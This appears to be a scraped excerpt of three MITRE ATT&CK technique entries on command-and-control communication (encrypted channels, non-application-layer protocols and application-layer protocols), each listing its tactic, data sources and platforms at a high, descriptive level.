Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre